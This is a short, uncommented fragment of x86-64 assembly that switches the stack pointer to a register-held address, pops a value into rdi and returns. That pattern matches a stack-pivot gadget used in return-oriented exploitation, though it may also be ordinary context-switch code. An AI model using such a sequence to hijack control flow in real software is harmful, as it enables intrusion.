mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret